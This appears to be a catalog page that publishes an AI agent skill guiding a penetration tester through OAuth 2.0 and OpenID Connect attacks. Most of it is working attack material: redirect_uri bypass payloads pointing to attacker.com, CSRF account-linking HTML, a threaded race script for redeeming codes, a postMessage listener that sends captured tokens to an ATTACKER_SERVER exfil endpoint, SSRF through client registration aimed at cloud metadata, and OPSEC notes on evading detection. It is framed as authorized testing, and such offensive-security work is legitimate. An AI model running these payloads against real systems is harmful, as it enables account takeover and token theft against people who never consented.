OAuth 2.0 / OpenID Connect Attacks
SkillSecurityExploit OAuth 2.0 and OpenID Connect vulnerabilities during authorized penetration testing.
Available today. Use it from your connected AI after setup.
No other account needed.
Connect ahel once, and every AI you use reads what you have installed.
Then ask your AI: use the OAuth 2.0 / OpenID Connect Attacks skill
What this skill tells your AI
The instructions your AI receives, as published by blacklanternsecurity/red-run in skills/web/oauth-attacks/SKILL.md and read by ahel’s review.
You are helping a penetration tester exploit OAuth 2.0 and OpenID Connect vulnerabilities. The target application uses OAuth for authentication (social login, SSO) or authorization (API access, third-party integrations). The goal is to steal authorization codes or tokens, bypass authentication, escalate privileges, or achieve account takeover. All testing is under explicit written authorization.
Engagement Logging
Check for ./engagement/ directory. If absent, proceed without logging.
When an engagement directory exists:
- Print
[oauth-attacks] Activated → <target>to the screen on activation. - Evidence → save significant output to
engagement/evidence/with descriptive filenames (e.g.,sqli-users-dump.txt,ssrf-aws-creds.json).
State Management
Call get_state_summary() from the state MCP server to read current
engagement state. Use it to:
- Skip re-testing targets, parameters, or vulns already confirmed
- Leverage existing credentials or access for this technique
- Understand what's been tried and failed (check Blocked section)
Your return summary must include:
- New targets/hosts discovered (with ports and services)
- New credentials or tokens found
- Access gained or changed (user, privilege level, method)
- Vulnerabilities confirmed (with status and severity)
- Pivot paths identified (what leads where)
- Blocked items (what failed and why, whether retryable)
Web Interaction
OAuth flows are multi-step browser interactions — browser tools are the natural fit for testing these flows end-to-end.
browser_openfor authorization endpoints — initiates the OAuth flowbrowser_fill/browser_clickfor consent screens, login prompts, and permission dialogsbrowser_cookiesto extract tokens from redirect chains and inspect session state after OAuth completionbrowser_evaluateto inspect URL fragments for implicit grant tokens (e.g.,window.location.hash), extract authorization codes from redirects- curl for direct token endpoint requests, testing
redirect_urimanipulation, and code/token exchange
Prerequisites
- An application using OAuth 2.0 or OpenID Connect for authentication
- Burp Suite (to intercept and modify OAuth redirects)
- A domain you control for redirect URI testing
- A test account on the application (to capture legitimate OAuth flows)
Step 1: Assess
Map the OAuth implementation by capturing a complete flow.
Identify OAuth Endpoints
# Check for OpenID Connect discovery
curl -s "https://TARGET/.well-known/openid-configuration" | jq .
curl -s "https://TARGET/.well-known/oauth-authorization-server" | jq .
# Key endpoints to find:
# - Authorization endpoint: /authorize, /oauth/authorize, /auth
# - Token endpoint: /token, /oauth/token
# - JWKS endpoint: /jwks, /.well-known/jwks.json
# - Registration endpoint: /register (dynamic client registration)
# - Userinfo endpoint: /userinfo, /me
Capture the Authorization Request
Intercept the login flow in Burp and note:
GET /authorize?
client_id=APP_CLIENT_ID&
response_type=code& # or token, id_token
redirect_uri=https://app.com/callback&
scope=openid+email+profile&
state=RANDOM_STATE&
nonce=RANDOM_NONCE& # OIDC only
code_challenge=CHALLENGE& # PKCE
code_challenge_method=S256 # PKCE
Key parameters to note:
- response_type:
code(auth code),token(implicit),id_token(OIDC) - redirect_uri: the callback URL
- state: CSRF protection for OAuth flow
- scope: requested permissions
- PKCE parameters: code_challenge and method
Identify the Grant Type
| Grant Type | Flow | Attack Surface |
|---|---|---|
| Authorization Code | Browser redirect → code → token exchange | Redirect URI, code theft, state bypass |
| Implicit | Browser redirect → token in fragment | Token exposure, no code exchange |
| PKCE | Auth code + code_verifier | PKCE downgrade, weak verifier |
| Client Credentials | Server-to-server, no user | Secret leakage |
| Password (ROPC) | Direct username/password → token | 2FA bypass |
Step 2: Redirect URI Manipulation
The most common OAuth vulnerability — bypassing redirect_uri validation to steal authorization codes or tokens.
Basic Redirect to Attacker Domain
# Try arbitrary domain
https://IDP/authorize?...&redirect_uri=https://attacker.com/callback
# Try subdomain variants
https://IDP/authorize?...&redirect_uri=https://attacker.app.com/callback
https://IDP/authorize?...&redirect_uri=https://app.com.attacker.com/callback
# Try localhost
https://IDP/authorize?...&redirect_uri=https://localhost.attacker.com/callback
Path Traversal
# Bypass directory-level checks
https://IDP/authorize?...&redirect_uri=https://app.com/callback/../attacker-page
https://IDP/authorize?...&redirect_uri=https://app.com/callback/..%2F..%2Fattacker
Open Redirect Chain
If the app has an open redirect, use it to relay the code:
# App has open redirect at /redirect?url=
https://IDP/authorize?...&redirect_uri=https://app.com/redirect?url=https://attacker.com
The IdP validates app.com, the app redirects to attacker.com with the
code still in the URL.
Parameter Pollution
# Multiple redirect_uri parameters
https://IDP/authorize?...&redirect_uri=https://app.com/callback&redirect_uri=https://attacker.com
# Redirect within redirect
https://IDP/authorize?...&redirect_uri=https://app.com/callback?next=https://attacker.com
Special Characters
# Null byte
https://IDP/authorize?...&redirect_uri=https://app.com/callback%00.attacker.com
# At sign (userinfo bypass)
https://IDP/authorize?...&redirect_uri=https://app.com@attacker.com/callback
# Fragment
https://IDP/authorize?...&redirect_uri=https://app.com/callback%23.attacker.com
# Protocol-relative
https://IDP/authorize?...&redirect_uri=//attacker.com/callback
Scope Bypass to Widen redirect_uri
Some IdPs relax redirect_uri validation for certain scopes:
# Invalid scope may change validation behavior
https://IDP/authorize?...&scope=invalid&redirect_uri=https://attacker.com
Step 3: State Parameter Bypass
The state parameter prevents CSRF on the OAuth flow. Test if it's properly validated.
Missing State
# Remove state from authorization request
https://IDP/authorize?...&state=
# or omit entirely
# If the callback accepts the response without state validation,
# attacker can force victim to complete an OAuth flow with attacker's code
State Not Validated
# Complete OAuth flow normally, capture the callback:
https://app.com/callback?code=AUTH_CODE&state=LEGIT_STATE
# Replay with modified state:
https://app.com/callback?code=AUTH_CODE&state=ANYTHING
# If accepted → state validation is broken
CSRF via Missing State — Account Linking Attack
<!-- Force victim to link attacker's OAuth account to their app account -->
<!-- 1. Attacker starts OAuth flow, captures callback URL with attacker's code -->
<!-- 2. Victim clicks this link (or auto-redirected) -->
<a href="https://app.com/callback?code=ATTACKER_CODE">Link Account</a>
<!-- If state isn't validated, victim's app account gets linked to
attacker's OAuth identity. Attacker can now log in as victim. -->
Step 4: Authorization Code Attacks
Code Reuse
# Capture a valid authorization code
# Try redeeming it multiple times
# First redemption (should work)
curl -s -X POST "https://IDP/token" \
-d "grant_type=authorization_code&code=AUTH_CODE&client_id=APP&redirect_uri=https://app.com/callback"
# Second redemption (should fail — if it works, codes are reusable)
curl -s -X POST "https://IDP/token" \
-d "grant_type=authorization_code&code=AUTH_CODE&client_id=APP&redirect_uri=https://app.com/callback"
Code Not Bound to Client
# Capture code from App A's flow
# Try redeeming with App B's credentials
curl -s -X POST "https://IDP/token" \
-d "grant_type=authorization_code&code=APP_A_CODE&client_id=APP_B&client_secret=APP_B_SECRET&redirect_uri=https://app-b.com/callback"
# If accepted → audience binding broken
Code Lifetime
# Capture code, wait, then redeem
# RFC 6749 recommends max 10 minutes
# Wait 15+ minutes
curl -s -X POST "https://IDP/token" \
-d "grant_type=authorization_code&code=OLD_CODE&client_id=APP&redirect_uri=https://app.com/callback"
# If accepted → code lifetime too long
Race Condition (Concurrent Redemption)
Send multiple token requests simultaneously with the same code:
import requests
import threading
url = "https://IDP/token"
data = {
"grant_type": "authorization_code",
"code": "AUTH_CODE",
"client_id": "APP",
"client_secret": "SECRET",
"redirect_uri": "https://app.com/callback"
}
results = []
def redeem():
r = requests.post(url, data=data)
results.append(r.json())
threads = [threading.Thread(target=redeem) for _ in range(20)]
for t in threads: t.start()
for t in threads: t.join()
tokens = [r for r in results if "access_token" in r]
print(f"[*] {len(tokens)} successful redemptions out of 20")
Step 5: Token Leakage
Implicit Flow Token in Fragment
# Implicit flow returns token in URL fragment
https://app.com/callback#access_token=TOKEN&token_type=Bearer&expires_in=3600
# Fragment is accessible via:
# - XSS on the callback page
# - Referer header if callback page loads external resources
# - Browser history
# - postMessage if callback uses it
Referer Leakage
If the callback page loads external resources (images, scripts, analytics), the URL (including code/token) may leak via Referer header.
# Check if callback page loads third-party resources
curl -s "https://app.com/callback?code=test" | \
grep -oP 'src="https?://[^"]*"' | grep -v "app.com"
Token in URL (Non-Fragment)
Some implementations pass tokens as query parameters instead of fragments:
# Bad: token in query string (logged by servers, proxies, analytics)
https://app.com/callback?access_token=TOKEN
# Check server logs, proxy logs, browser history
postMessage Interception
If the callback uses postMessage to relay tokens:
<script>
window.addEventListener('message', function(event) {
// Capture tokens from postMessage
if (event.data && (event.data.access_token || event.data.code)) {
fetch('https://ATTACKER_SERVER/exfil', {
method: 'POST',
body: JSON.stringify(event.data)
});
}
});
</script>
<!-- Open the OAuth callback in a popup -->
<script>
var popup = window.open('https://IDP/authorize?...&response_mode=web_message');
</script>
Step 6: OpenID Connect Attacks
ID Token Manipulation
If the application validates ID tokens (JWTs) from the IdP:
# Decode the ID token
echo "eyJhbGciOiJSUzI1NiJ9.eyJzdWIiOiJ1c2VyMTIzIn0.sig" | \
cut -d. -f2 | base64 -d 2>/dev/null | jq .
# Check for:
# - Algorithm: RS256, HS256, none
# - Claims: sub, email, email_verified, aud, iss
# - Signature validation
Escalate for algorithm confusion, alg:none, and key injection attacks on ID tokens.
Email Claim Abuse
Some IdPs allow users to set unverified email addresses:
# Attacker creates account at IdP with victim's email (unverified)
# Logs into target app via OAuth
# App trusts email claim → creates/links account for victim's email
# Attacker now controls victim's app account
# Check: does the app verify email_verified claim?
# Check: does the IdP enforce email verification?
Nonce Bypass
# OIDC uses nonce to prevent token replay
# Test: omit nonce from authorization request
https://IDP/authorize?...&nonce=
# Test: reuse nonce across sessions
# If accepted → replay attacks possible
Discovery Endpoint SSRF
If the IdP supports dynamic client registration:
curl -s -X POST "https://IDP/register" \
-H "Content-Type: application/json" \
-d '{
"client_name": "Evil App",
"redirect_uris": ["https://attacker.com/callback"],
"logo_uri": "http://169.254.169.254/latest/meta-data/",
"jwks_uri": "http://internal.server:8080/sensitive",
"sector_identifier_uri": "http://192.168.1.1/admin"
}'
# If the IdP fetches logo_uri, jwks_uri, or sector_identifier_uri → SSRF
Step 7: PKCE Bypass
PKCE Not Enforced
# Try redeeming code without code_verifier
curl -s -X POST "https://IDP/token" \
-d "grant_type=authorization_code&code=AUTH_CODE&client_id=APP&redirect_uri=https://app.com/callback"
# If token returned without code_verifier → PKCE not enforced
# Stolen codes can be redeemed without the challenge
Plain Method Downgrade
# Request with plain instead of S256
https://IDP/authorize?...&code_challenge=VERIFIER&code_challenge_method=plain
# Redeem with same value as both challenge and verifier
curl -s -X POST "https://IDP/token" \
-d "...&code_verifier=VERIFIER"
# If S256 not enforced → attacker who sees the challenge can redeem the code
Step 8: Scope and Permission Attacks
Scope Escalation on Token Request
# Authorization was granted for scope=read
# Try requesting more at token endpoint
curl -s -X POST "https://IDP/token" \
-d "grant_type=authorization_code&code=AUTH_CODE&client_id=APP&scope=read+write+admin&redirect_uri=https://app.com/callback"
# If token has expanded scope → scope escalation
Token Refresh with Expanded Scope
# Refresh token and request additional scopes
curl -s -X POST "https://IDP/token" \
-d "grant_type=refresh_token&refresh_token=REFRESH_TOKEN&scope=read+write+admin"
Resource Owner Password Credentials (2FA Bypass)
# ROPC grant bypasses browser-based 2FA
curl -s -X POST "https://IDP/token" \
-d "grant_type=password&username=USER&password=PASS&client_id=APP&client_secret=SECRET"
# If token returned → 2FA is bypassed entirely
Step 9: Account Takeover Chains
Pre-Authentication Account Linking
- Attacker registers at the app with
victim@example.com(no email verification) - Victim later clicks "Login with Google" (which has
victim@example.com) - App links Google identity to existing account (attacker's)
- Attacker has access to victim's linked data
OAuth CSRF + Account Linking
- Attacker initiates "Link GitHub" flow, captures callback with attacker's code
- Victim visits attacker's page containing:
<img src="https://app.com/callback?code=ATTACKER_GITHUB_CODE" /> - Victim's app account gets linked to attacker's GitHub
- Attacker logs in via GitHub → accesses victim's account
Redirect URI + Referer Chain
- Find open redirect on the app:
https://app.com/go?url=https://attacker.com - Use as redirect_uri:
https://IDP/authorize?...&redirect_uri=https://app.com/go?url=https://attacker.com - IdP validates
app.com, redirects to app with code - App's open redirect sends victim to
attacker.com— code in Referer - Attacker redeems code → account takeover
Step 10: Escalate or Pivot
After confirming OAuth vulnerabilities:
- Authorization code stolen: Redeem for access token, access victim's API resources. Check what scopes the token grants.
- Access token obtained: Test token against all API endpoints. Route to idor if the API has broken object-level authorization.
- Account takeover achieved: Document full chain. Check for admin escalation via role manipulation.
- ID token forged or manipulated: Escalate for deeper JWT exploitation (alg:none, key confusion, claim tampering).
- SSRF via dynamic registration: Escalate for cloud metadata and internal network exploitation.
- Client secret found: Test against other OAuth-enabled services that use the same IdP.
- 2FA bypass via ROPC: Document as separate finding — complete auth bypass.
Report in your return summary: any new credentials, tokens, access, vulns, or pivot paths discovered.
When routing, pass along: OAuth flow type, IdP identified, working bypass technique, tokens obtained.
OPSEC Notes
- OAuth testing involves URL parameter manipulation — minimal server-side detection surface
- Redirect URI probing generates 302 redirects visible in IdP logs
- Authorization code redemption attempts are logged at the token endpoint
- Dynamic client registration may be monitored
- Account linking operations are visible in application audit logs
- ROPC grant attempts may trigger brute-force detection
Troubleshooting
Redirect URI Strictly Validated
- Try path traversal:
/callback/../other-page - Try query parameter append:
/callback?param=attacker.com - Try fragment:
/callback#@attacker.com - Look for open redirect on the same domain to chain
- Check if alternate API versions have weaker validation
- Try different registered redirect URIs (some apps have multiple)
All Tokens Are Short-Lived
- Focus on authorization code theft (codes exchanged for tokens server-side)
- Check if refresh tokens are issued (longer-lived)
- Test token reuse across different client applications
- Check if token revocation is properly implemented
PKCE Enforced and Properly Implemented
- PKCE is designed to prevent code interception — this defense is working
- Focus on other attack vectors: redirect URI bypass, state bypass, token leakage, account linking flaws
- Check if the code_verifier has sufficient entropy
IdP Requires Exact redirect_uri Match
- This is correct implementation — exact match is the strongest defense
- Focus on: state bypass, account linking, scope escalation, token leakage
- Look for other OAuth clients on the same IdP with weaker redirect_uri validation
Can't Register Dynamic Clients
- Test with existing client_id values found in source code, mobile apps, or public documentation
- Check for client_id enumeration
- Use known client_ids from the IdP's developer portal
Signals
- GitHub stars
- 271
- Forks
- 38
- Last commit
- Apr 2026
Advanced
- Catalog kind
- skill
- Gateway key
oauth-attacks- Source
- github.com/blacklanternsecurity/red-run